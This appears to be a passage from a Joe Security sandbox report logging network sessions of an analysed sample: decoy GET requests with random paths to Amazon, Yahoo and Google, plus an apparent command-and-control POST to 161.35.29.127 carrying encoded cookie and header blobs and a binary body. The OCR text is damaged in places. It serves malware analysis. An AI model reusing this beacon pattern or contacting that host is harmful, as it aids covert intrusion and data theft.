GET /orbyj7P4wEdaicnsh6greX1wVf0Otx0ZHg558e67 TrdsyycJ/hh1fng7aCii8gridgqfs61Pcvotdxular2lzerN/xoewvh
s766suwyl9sgx2s00eS2xjsZW6ehneruzfR/muchxeicbigiOlbdfmuV690g49u53h0Xtmxc1mClI8345yvj/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:45 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: JABOBP7HAGTBBQNKSPKO

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip”

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d 7 1c f2 50 €5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 ¢5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3¢ 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8¢ 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 ¢5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3¢ dd ab 5e ee 1a eb
05 8 3¢ dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=I{"(. W]in"u=Padn{]1+: Ch[ **kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /GeCxeorOxk2eOn1u85uU39kv/20Nmnelj3m7spepr113v7LnkV0Z/InI8supHr8f0c83pgea9A5Sus9x63zmer/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:53:46 UTC 899

2021-09-28 07:53:46 UTC 900

2021-09-28 07:53:46 UTC 901

Session ID Source IP

13 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:46 UTC 901

2021-09-28 07:53:46 UTC 902

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49893

Direction
ouT

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:53:46 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 746

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=cjoaigpgl5iga&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 34 36 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73
3d 61 35 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 2d 53 65 70 2d 32 30 32 32 20 30 37 3a 35 33 3a 34 36 20
47 4d 54 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 0d 0a 45 78 70 65 63 74 2d 43
54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:46 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; expires=Wed, 28-Sep-2022 07:53:46 GMT; path=/;
domain=.yahoo.comExpect-CT: max-age=31536000,

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e Oa 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
6572 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 47 65
43 78 65 6f 72 30 78 6b 32 65 4f 6e 31 75 38 35 75 55 33 39 6b 76 25 32 66 32 30 4e 6d 6e 65 31 6a 33 6d 37 73 70 65
7072 31 31 33 76 37 4c 6e 6b 56 30 5a 25 32 66 6¢ 6e 6¢ 38 73 75 70 48 72 38 66 30 63 38 33 70 67 65 61 39 41 35 53
757339 78 36 33 7a 6d 63 72 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b Oa
20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2fGeCxeorOxk2eOn1u85uU39kv%2f20Nmnelj3m7spepr113v7LnkV0Z%2fInI8supHr8f0c83pgea
9A5Sus9Ix63zmer%2f';if(window!=window.top){ document.write('<p

Destination IP Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /rwéfibQdwKcmdvsetfommtzORqCEbeuyoqtwqf/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:53:46 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBI IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 8

server: ATS

Content-Length: 642

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=bvk3colgl5iga&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block
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kBytes
Timestamp transferred

2021-09-28 07:53:46 UTC 903

2021-09-28 07:53:46 UTC 903

Session ID Source IP

14 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:47 UTC 904

2021-09-28 07:53:47 UTC 907

2021-09-28 07:53:49 UTC 915

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49894

Direction

ouT

ouT

Data

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 34 36 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 32 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72 742d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:46 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 7220 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 72 77
36 66 69 62 51 64 77 4b 63 6d 64 76 73 65 74 66 6f 6d 6d 74 7a 30 52 71 43 45 62 65 75 79 6f 71 74 77 71 66 25 32 66

27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72
69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6¢ 79 20 75 6e 61 76 61 69 6¢ 61 62 6C
65 2e 3c 2f 70 3e 3¢ 69 6d 67 20 73 72 63 3d 22 2f 2f 67 65

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2frw6fibQdwKcmdvsetfommtzORqCEbeuyoqtwqf%2f';if(window!=window.top){ document.write('<p>Content
is currently unavailable.</p><img src="//ge

Destination IP Destination Port Process

161.35.29.127 443 C:\Windows\System32\svchost.exe

Data

POST /feed/news/last HTTP/1.1

Content-Type: application/octet-stream

Cookie: HSID=C58GIwb%2BGcF{%2BsQwWNPilvwa7B3RG3H7gEO7%2B0JqTI6tsLBpBOwcZzvUVj%2FVLQCqaE%2FM
mfs7d33BvC6VMFRp45y%2BX9qRzk%2F0AN1INN1BTbeqd8MPO6rEzZN2WxgxDQ1LtILt470wy09Pg99sus0SQ7cqgVy]j
MGK7yig9ei9qEr8Ytt0m%2F%2BBYOzl7elFhrcRq9%2FCRCTehBMX0ex9VSq9ia0XbDxyl4ylOGakREKA9ti851nqt
bwRQenaSvuTZg0ZnFzphVpgJOmAV8wecarOvT1VoJeNovs23y9pwvbG2jCn6Q2gqquuKgnUTOIDAh7M2JrryQ4QRD8H
hrINZuQ4sZpi0zA%3D%3D;SIDCC=aghH1Yyo1BFnIQxStvXUHQNhm2jaPSCOu61Y62ePtimCl4bx5a2GY3eerDUXss
JIm7W%2BL{%2FpPu5dntgK775fUSHBhOp8vJIgMHtDV1EsLe42pcgknizNgK4xPoarsKDZdCPxwBtBzW%2F%2F%2F5F
5kdC2M5DfNLzjS2E5DyIxvHrULoTETgAg1SIW1al pKOD03tHqUu0%2BFxnLal58x2ullKUBAOZ66YEgbouzx7jDq%2
FhXSsfsQ%2BxIH4%2BsNHve8rc%2BN13atbVQN9c6DtWSMTzII5RGRbWiXXkO7NGiCOUttdW8nGvuppb
M%2BsMCn%2FDo17hwSNkdBgx%2BoCRz62Ah3gFc32GC35w%3D%3D;SID=GtmEKXOTsQO90huJmgeDqGP
QZGRIV2BRNQy%2FfxuJ%2FqyxOKhpAhVXRssNLVWD8xucxDGGg3AwCmXjewtY FHXIVISLRXGX4k0XKiJeKojKWhOk
ZH3bQSJ9G4nmjellZzheqW%2BQhk7dHHuUeSLbTPuVZ%2FkvnZjQEPZidMRWYV6BJ39zHkQaxmVjvOzLcvriUl21bMgm
0GFPrvnKsM2FjoGYdEoBiPtMI4rfIKpvciSqiwZY 1orQai9VRSiPhU%2FCUqDyrTj5iGpzEy2QNDnARyC4pCVYo08hB
gswAgbv5ihWnX%2FWsobwFiqyWdD34UJ%2B%2FBMbXEwodO5jheN4LISr%2FyriGzjw%3D%3D;SSID=NA5CL2i0MA%
2BY05hEQDPIMMIpTTgviH%2BMAKGXVOQno3JkBLRFIZGNSEEmM9owj2KFWihpR8k%2FRJ4rAah5NuJ82K
¢c%2B9pdYMbzUgiZ6m4IpcAGMLAEZUToetEWBTYX%2FMFDBJEtNGLYDHDYe69Q3hJ1162jT8EIYKYxp4BjYJz5A%2FK
Hg8pGJ9a0gzDMri9a7UIfBIISaApB3I5NSZEKIVP28BcSEe%2BthpAn956F0sGs6Fuzx%2FfY2ClyL34uiDGc6roDC
U61jSwj7UellLOSVIMNOhYOsztEVypnkwwS4qdBeuvavcCxHT8%2FzUnLbslOq7%2FDBZEAHD2huyo1H16vBumkQv9
9%3D%3D;

X-Tag: WpQojor4lVOOj1WB3jD%2B94gCtrEK01b5L7ugAlcGMa2E0gIG05t%2BDWW01Z9KDJ4b6%2BmmHZII0SZ0z
6nwcebpxDo2csdMOgk8Xc%2F4AfEuuxaOEiTU19xDolxtAevQoQFUN9CsigOSdxNrOeHXGV TOtwwupQKcespv7IgTUIm
gympwbpGLUDKWgR3Z6rqMCtjr%2BYkMIpXIFYRT4QXco%2F6qwd62FrD2FWIL ZiAz9IPR%2FK3vHzZglecxsgMOzVUc
€]MBCISNKApTBCWc5glhcvdem95aWCmIMI4HmedvYQmTUah%2Ftvdbl2G17W8RIPWUiVH1F3MYKN1D%2
Bh%2BZDTIpVOucpuclPig%3D%3D

X-Csrf-Token: HtKtKx61%2F71BEL77jvOntkOXfwyvThgPzZNzXB4StKsqsUyENqY9HTasTTcOCFWn42IKyDIMMh
a3Jf7xI18IWIPGAK8rkWdNaaoBPe0O5F5IHJE7zOGVkvZTMuGA4TrPiX0ZRz%2BLLVyI83Mu3gx0xsIDxdcxIMx9ePXR
F%2BBDCjmAFizF01IRq9q2tQutlt8e8INX0eW0ZreoksaEBYpgafeYUODZZOEP4%2BLmWrjlXZaFaKeH7%2F0%2BOb
iPJ1YIO68WTJIAIN%2Fcd06%2B5IRAU%2BoAXU06ZgMWwIXfamUY CuA5JTuCfBnA4jRRZYIaKQ%2BS|BttsUsuMyCEI
e7k8jXcd%2BzbbruvQ%3D%3D

X-Request-ID: n4Gf7BnC0O5jK50aEACPmMo7lahddgHt%2BQu70DVCv9%2BcCRfPk4fFegVKV48zTiEC%2BFhvjTWn
aKgsnJFngtCszMeJgH3yMRTOGp3GwRhyymL7XM8WS5I12nwOBJRIv6xookg4c2VOY EMgkpSAohRz4Fu03rtCojWsNUGP
JEW176zAUzyBnOOywguBqQDj5JpGtmPQdJPavPylaGBk2faroE8sQS9QeJJIOSEEA7SRGbWKWXXCNT6UzDI%2B%2Fh
UaVMbTFM{8xVMzN601rv520Dxi3gQU%2FIwo8rwjOc2RkMIggg%2BgAEQBaldcOUOCcu5%2BjQkivaYYriHmbFz%2Bi
pY0oGz5qcwQr6EQ%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: 4b 83 72 e0 a9 ec 4c c6 5f aa 52 74 6b 85 2a 44 86 49 ed 8e 0d Oe 6b ee 1b 64 ee Oc d5 91 7f 67 1a 28 da cd
e8 35 b6 6f ee 43 3d cb 91 f2 a9 8b 38 8c 97 56 46 53 5d 32 1b 47 ed cb 31 06 35 11 b4 e6 ec 57 74 9f 8¢ 4f ec 5f el 06
99 65 be 51 1a 98 f9 47 65 df bb 1c fd 03 dc 70 50 b2 cc 4b 17 14 35 83 Ob e6 3c ec 99 03 94 64 89 b1 b4 2c af 10 b0 7a
32 4e 1d 5f 36 66 la c4 ae 1d e5 74 fb 92 89 38 7a a3 42 61 3f 7e 5e 59 4f 48 24 7e 63 22 b8 3e 7c fd ee bd 03 b7 ef 36
89 ba fa e0 04 cd b5 d2 e5 ed b3 f7 d2 7a 1d 80 1f c2 4d 29 75 5f 8e b6 3f 1e 81 99 ee 7b 3a 61 01 02 60 c6 04 48 6 d3 af
64 4e a7 3b 62 2e 7e b0 93 11 85 01 58 6¢ 1d 6d 93 90 af 3e 5f 88 c0 bb 0b 80 cd 60 16 dc 45 4a 7c b5 34 74 75 9b b8 3c
84 7c¢ 62 13 40 56 28 20 de dc db 95 6d 06 34 4f 20 3d

Data Ascii: KrL_Rtk*DIkdg(50C=8VFS]2G15WtO_eQGepPK5<d,z2N_6ft8zBa?~"YOH$~c">|6zM)u_?{:a’ HdN;b.~XIm>_
“EJ|4tu<|b@V(m40 =

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close

Date: Tue, 28 Sep 2021 07:53:49 GMT
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
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Session ID Source IP

15 192.168.2.3
kBytes
Timestamp transferred

2021-09-28 07:53:47 UTC 907

2021-09-28 07:53:47 UTC 907

2021-09-28 07:53:47 UTC 908

2021-09-28 07:53:47 UTC 909

Session ID Source IP

16 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:47 UTC 909

2021-09-28 07:53:48 UTC 910

2021-09-28 07:53:48 UTC 910

Session ID Source IP

17 192.168.2.3

Copyright Joe Security LLC 2021

Source Port

49896

Direction

ouT

Source Port
49897

Direction
ouT

Source Port

49899

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /rbwHu5Shjkeuvkuf8oTaqc6z7g/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1588

Date: Tue, 28 Sep 2021 07:53:47 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process
162.219.225.118 443 C:\Windows\System32\svchost.exe

Data

GET /q35c7hgpmH76D8s3y0rbOmGxkmSLscrwxe4lnpzfZOq4/zxpklgiMy9guSkTZfIx0zOfhtttY/d51bgoagh1rkq6ojll5/o
wifj96soqQcjwSae20s5dcptw3zsexp8WKpzZ/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.amazon.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Connection: close

Content-Length: 897

server: Server

date: Tue, 28 Sep 2021 07:53:48 GMT

content-type: text/html

permissions-policy: interest-cohort=()

x-amz-rid: XDFVNFATAPDE1RHW6A3K

x-sdch-encode: 0

last-modified: Tue, 10 Aug 2021 22:12:21 GMT

etag: "687-5c93bcbae3b40-gzip"

accept-ranges: bytes

content-encoding: gzip

vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache, X-Amzn-AX-Treatment,User-
Agent

strict-transport-security: max-age=47474747; includeSubDomains; preload
x-frame-options: SAMEORIGIN

Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 Oe f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6¢
18 d0 00 7b 18 86 80 22 af 28 2e 14 ¢9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e
1d 90 Oe 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 Oe d1 c5 fO df a0 d6 15 dd c4 03 8b b9 ed
1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 Oc eb al a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9
1551 46 al 62 3a Oe 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a 6 c5 9a 25 b7 3d f9 93 49
20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d 5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb
05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd

Data Ascii: UJo6+, Yt=I{"(. W]in"u=Padn{]1+: Ch[ *"kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<"<G*vOhu

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe
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kBytes
Timestamp transferred

2021-09-28 07:53:48 UTC 911

2021-09-28 07:53:48 UTC 911

2021-09-28 07:53:48 UTC 912

2021-09-28 07:53:48 UTC 913

Session ID Source IP

18 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:53:49 UTC 913

2021-09-28 07:53:49 UTC 913

2021-09-28 07:53:49 UTC 914

Session ID Source IP

19 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49900

Direction

ouT

Source Port

49903

Direction

Data

GET /pdieagEqgbwAstfnrvwzi8QHdflufklusi/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1595

Date: Tue, 28 Sep 2021 07:53:48 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
2 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 7267 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 323270 78 20 61 72 69 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE htmI><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</titte> <style> *{margin:0;padding:0}html,co
